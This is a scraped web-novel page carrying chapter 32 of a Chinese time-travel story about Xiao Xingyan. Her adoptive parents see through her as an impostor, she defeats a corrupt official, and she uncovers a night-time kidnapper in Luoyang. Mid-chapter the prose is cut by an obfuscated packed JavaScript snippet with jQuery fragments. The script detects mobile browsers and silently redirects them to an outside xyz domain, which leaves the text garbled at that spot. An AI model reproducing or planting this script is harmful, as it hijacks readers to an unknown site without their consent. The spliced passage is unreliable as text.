默认冷灰
24号文字
方正启体

32. 你怎么不从正门进来?

作者:倚木听泉本书字数:K更新时间:
    萧行雁倒吸一口冷气:“梅估客这话可当真?!”


    梅兴业有些犹疑地摇了摇头:“或许是我那日看错了……”


    萧行雁却不这样觉得。


    先不说那邻居大半夜出门做什么,那布袋动了就说明里面的或许是活物。


    不是大型动物,就是……人。


    不论怎么说,萧行雁都要做好最坏的打算——比如梅兴业那邻居是略买人,且朝中官员有人从他手中买人或充当他的保护伞,土料只是掩饰。


    她呼出一口气:“多谢梅郎君告知,对了,那土料着实好,我若是买下可以便宜些吗?”


    梅兴业苦笑两声:“当然,是我要谢谢萧监作才是,前两日我只盼着不亏本就好的。”


    萧行雁笑了笑:“那就好。”


    说罢,两人又商讨了一番土料价格,才画押签字。


    ……


    萧行雁沉默着回了家中。


    土料的事情解决了,可怎么通过甄官署的检测又是个大问题。


    且不说她不知道到底是哪个鳖孙在背后使绊子,就算知道了,她难道能对抗的了吗?


    想到这里,萧行雁周身气压又低了一个度。


    她垂着双手进了家门。


    “雁娘?”一道温柔又陌生的声音响起。


    萧行雁抬头去看,便看到一个清瘦的妇人现在门口,欲言又止地看向她。


    萧行雁愣了愣。


    这是谁?


    “您是?”


    妇人一怔,随即眼眶便红了。


    周沛萍出来时看到的便是这幅场景。


    她连忙走到妇人身旁:“夫人莫哭……都回来了。”


    夫人只是摇着头流泪。


    萧行雁在一旁手足无措,连忙看向周沛萍求助。


    可谁知周沛萍今日却没将目光投来,而是专注哄着妇人。


    此时,另一清瘦的中年男子走了过来,愣了愣。


    他先朝着萧行雁点了点头,随后也走到妇人身边:“琴娘,孩子就在眼前,莫要再哭了……”


    萧行雁只觉得脑中惊雷劈落。


    她声音干涩:“阿娘?”


    那妇人抬头,泪眼婆娑地望着她,只是捂着心口摇着头。


    周沛萍瞧着她如今这般模样,连忙宽慰:“雁娘初到我家烧了几日,忘了些事情,最近又忙得很,怕是一时脑子没转过来……”


    妇人还是默默流着泪,眼中却盈满了愧疚。


    萧行雁有些僵硬地咽了咽口水:“阿娘,阿耶,我们先回屋子吧?”


    ……


    好不容易,众人终于安抚住了一直哭着的宋琴。


    她红着眼眶看向萧行雁:“让我和雁娘说几句体己话吧……”


    另外两个人愣了愣,但念及母女二人分别多年,还是将空间留给了这对母女,还贴心地带上了门。


    萧行雁懵懵地看向宋琴,讷讷道:“阿娘。”


    话音刚落,宋琴的眼眶又红了:“你不是我的雁娘……”


    萧行雁脑中顿时惊雷滚滚,半句话都说不出来了:“我……”


    宋琴低声啜泣道:“你究竟是何方妖魔,为何要盯上我的雁娘?”


    萧行雁低着头:“这本是意外……”


    宋琴只红着眼盯着萧行雁:“我的雁娘在哪里?”


    萧行雁深吸一口气:“我也不知,但我猜测,或许是那场高烧她没能挺过去。”


    宋琴沉默片刻,声音沙哑:“你是谁?”


    萧行雁呼出一口气:“我本是个……手艺人,做陶瓷的,可去窑场时被院子里的晾坯架砸死了,再睁眼时就到了她身上,她很想你们。我刚落到她身上时甚至险些被她的情绪冲昏了头脑。”


    这个“她”说的自然就是原主。


    宋琴眼睛不由自主眨起来,泪珠像断了线的珠子一样噼里啪啦的往下掉。


    “你叫什么?”


    萧行雁抿了抿唇:“萧行雁。我也时常在想,或许是因为我们姓名一样,才有这种奇事,我不知道这是哪里,也不知‘她’是不是也到了我体内?”


    宋琴气一松,更是哭的上气不接下气。


    “还活着就好,活着就好……”


    宋琴哭过一场,情绪这才稳定下来。


    她拉着萧行雁的手:“你年纪几何,是做什么的,家那边还安定吗?”


    萧行雁眨眨眼:“二十二,全家都算得上是称得上名号的手艺人,很安定,算是盛世,只是不在如今的世界。”


    宋琴又抚着胸口:“那便好……你既已二十二,在家中可有婚配?”


    萧行雁摇摇头:“没有,我的年纪在我们那个世界,才是刚出学堂的年纪。”


    宋琴看着眼前的萧行雁,眼神透过她似乎要看到另外一个人:“还小,不着急。”


    说着她伸出手摸在萧行雁的额心:“这也是你带来的吗?”


    萧行雁这才想起自己额心的那颗痣,下意识伸手摸了摸,点点头。


    宋琴笑了笑:“这颗痣长得好,是有福禄相的人。”


    她拉着萧行雁的手,又将人上下打量了一遍。


    “是个好孩子。”


    她又拉着萧行雁问了一番未来的事情,心情也才慢慢转好。


    待到微微露出了疲态,萧行雁终于没忍住自己心中的疑问:“阿……娘,您是怎么瞧出来我不是原来的雁娘的?”


    宋琴泪眼婆娑看向她:“我不知道,只是我打眼一瞧,总觉得你不是我的雁娘……”


    萧行雁心中一动,心神却不由得飞回。


    那她的妈妈会不会呢?


    她连忙打断未竟的思绪,垂下双眸:“原是如此,阿娘且好好休息,我先出去了。”


    宋琴虽有些不舍,可眼前的小娘子到底不是自己精心呵护养大的那个雁娘。


    她拍了拍萧行雁的手:“好……”


    ……


    “你……是谁?”


    萧行雁刚合上门就听到这样一句话。


    她动作一顿,转身看向男人。


    “阿爹……”


    男人轻笑一声:“‘你’从前可从来不这么叫。”


    长安城中素来都是称阿耶或哥哥的,爹爹之类的称呼也只在南方如此,唯有萧行雁这对这地方半懂不懂的人才会胡乱说。


    只是之前因为大家都知道萧行雁都是长安来的孩子,又在浮梁生活,所以才杂糅出了这么一句。


    但萧兴安知道,自家女儿从来都是规规矩矩,从不逾越半步的小古板,又如何能说出这样一句不伦不类的话。


    萧行雁沉默起来。


    她没想到不止是宋琴,就连萧兴安也看了出来。


    “罢了,”萧兴安叹了口气:“莫要与琴娘说,不论你是何人,我只求你莫要伤我的家人。”


    萧行雁十指微蜷:“……我不会的,不论如何说,您和阿娘都是我的父母。”


    萧兴安笑了笑,不置可否。


    他上前一步低声道:“我的女儿呢?”


    萧行雁摇摇头:“我不知道。”


    她没再像是宽慰宋琴那般再说些什么。


    萧兴安看起来比宋琴冷静太多了,萧行雁自觉哄不过这人。


    萧兴安不依不饶:“你背后的人又是谁?萧家?圣人?”


    萧行雁摇摇头:“一个异界孤魂,莫名至于此间。”


    萧兴安又笑了一声,不知是信了没信。


    他退开一步:“过几日,我会带着琴娘搬出去。”


    萧行雁摇摇头:“父亲不必如此,就是看在莫名占了‘她’的身体的面上,我也决计不能让两位搬出去。”


    更何况如今萧行雁入朝为官,若是名义上的亲生父母刚搬回来就搬了出去,岂不是将把柄递给了旁人?


    萧兴安看着萧行雁笑了笑,也没戳破她的小心思,转头看向檐外:“可。”


    ……


    果不其然,萧行雁在朝着甄官署令报了土料的事情后又被卡了流程。


    从土料到行事作风都被郑益善嘲讽了个遍。


    萧行雁脸色极差地回了家中。


    看到萧行雁的表情,周沛萍下意识朝着萧宋夫妻二人看去,见二人也瞧着萧行雁,不知如何开口的模样,她小心问道:“雁娘这是怎么了?”


    萧行雁忍了一天的脾气终于忍不住流露出来:“还不是郑益善那个……!”


    最后几句骂人的话湮没在唇畔——她到底还是有些顾忌萧宋二人,这两个人看起来太文气了。


    周沛萍没忍住也有些气:“那等小人!”


    宋琴瞧向周沛萍,终于忍不住好奇:“什么事情让萍娘如此气急?”


    周沛萍忍着火气同宋琴二人一一述明。


    听罢,宋琴拿帕子不紧不慢地擦了擦嘴,声音却有些冷:“果真是小人做派!”


    萧兴安抬起头来,眼神平静看向萧行雁:“你没办法?”


    萧行雁低下头摇了摇。


    说到底,她在未来最多刷到过整顿职场的段子,从来没进过职场,真遇到这样的事情总归会束手无策。


    萧兴安叹了口气:“你辖制不了,自有能辖制的人,何苦自己和他死磕?”


    萧行雁有些焦躁地抓了抓头发:“我让老师帮我从中说和过……”


    她话音突然顿住,领悟了些什么。


    萧兴安见她恍然,意味深长:“事情闹大了,谁都不好看不是吗?”


    ……


    最近少府监流传起来一股流言。


    甄官署郑益善不知道搭上了谁的船,一家独大,连甄官令都对他无可奈何!</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289402|180738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    据说郑益善态度之嚣张,甄官令连他嚣张,从中劝说,可郑益善竟然不把任何人放在眼里的模样,俨然一副少府监所有人都拿他没办法的模样!


    在有心的传播下,不过几日,众人便惶恐起来。


    这风言风语自然逃不过武曌的眼线。


    她抬眼平静:“朕竟不知道,朝廷中竟有了如此一手遮天的人物!”


    明堂中一时间鸦雀无声,众人一声也不敢多吭。


    虽说往朝廷塞些亲信是世家默认的潜规则,但大家也不会没眼色的这个地步。


    如今这位圣人可不是好脾气的人,当初二圣临朝时便和高宗一同清理了不知多少世家。


    如今大部分世家还是鹌鹑一样的,到底是谁家小辈这么没眼色!


    嫌安生日子没过后吗!


    武曌见众人一声不吭,直接开口道:“乐思晦。”


    乐思晦低着头站了出来:“臣在。”


    武曌垂眸看向他:“吏部察人不清出了纰漏,便由你去负责辨清此事,将这些危害朝廷的蠹虫找出,将功补过,可有异议?”


    乐思晦恭敬道:“喏。”


    ……


    因为天官下场,一时间朝中不免一阵动荡。


    就连甄官署这样的小地方一时间也是风声鹤唳。


    乐思晦平素就刚正不阿,因而受命清理时依旧没有顾忌什么。


    查了一遭,竟拽下来不少官员。


    其中便包括直接为郑益善提供庇护的柳延宗。


    看到柳延宗被卸任时,萧行雁是震惊的。


    要知道她上次见柳延宗时还是在浮梁,那时这人还只是一个典事,可不过三年,这人居然已经到了中尚属令的位置!


    短短三年,从流外官一跃多级,成了从六品上的官员,这其中没有猫腻谁信?


    ——要知道如今的官员升职那可是有固定流程的。


    不过她心中也有所明悟。


    难怪她会被这样针对——八成是柳延宗记恨在心!


    柳延宗被削职后,郑益善便再也不敢放肆,一下就安分下来。


    先前被卡的死死的程序一下又松了下来。


    萧行雁松了一口气,加紧投入了明器生产中。


    但梅兴业那日和她说的那件事情她也没忘记。


    但既没有物证,也没有人证,她也只是把这件事放进了心里,没敢多与外界说。


    只问了下梅兴业那邻居的具体信息,私下雇了几个小乞丐暗中观察着梅兴业口中那个邻居。


    ……


    苟三儿觉得自己最近可真算得上春风得意。


    先是捡了个大小姐,后面居然被人找了上来,还和人定了亲!


    一想到自己接下来要去做什么,苟三儿就觉得心情激荡。


    说来,大户人家的小姐果真是大度,居然还主动帮他纳妾……


    夜深人静,坊中唯有更夫的打锣声由远及近。


    苟三儿蹑手蹑脚躲着巡逻的官兵,偷摸溜出了坊外。


    他活动者手脚,心里又不免产生了些怨怼。


    岳家哪哪都好,但这活计却实在累人。


    他瞧准时机,猛地冲上前去。


    砰——


    一道低矮的人影缓缓倒下。


    苟三儿眼中闪烁着贪婪的光。


    他蹲下来,把人抱起来,拿出来个大布袋缓缓背了起来。


    “哈,又是十两!”


    他在这边鬼鬼祟祟,没看到自己身后也有几道身影悄摸躲在阴影中。


    ……


    “你们当真看到了那苟三儿打晕了个姑娘?”


    小乞丐点点头:“对,最后还背回了驿站,没过多久还有个穿得黑漆漆的人过来把人带走了!”


    萧行雁脸色发黑。


    没想到真的是略买人!


    她从怀里摸出来几枚铜板,又拿出来两块糖果子:“给,这是报酬,后面几日还要麻烦你们了。”


    小乞丐看到糖果子双眼一亮:“好!”


    送走小乞丐,萧行雁回了房间,焦急地在房间里转了几圈。


    怎么搞,要去报官吗?


    为什么这些人会在洛阳堂而皇之地拐卖?


    是背后有什么人做靠山?


    她猛地停下来,看向窗外:“谁!”


    叶芜鬼鬼祟祟从窗户爬了进来,脑门上还顶着几片树叶,看着像是窗外那颗合欢树上的叶子。


    他狼狈地站起来,低着头心虚道:“雁娘……”


    萧行雁:“……?”


    她震惊了:“你这是做什么?!”


    叶芜低着头:“梅兴业昨夜和我说他看到了苟三儿房里进了人,看衣裳很可能是朝中官员。”


    萧行雁张了张口:“那你为什么不从正门进来?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)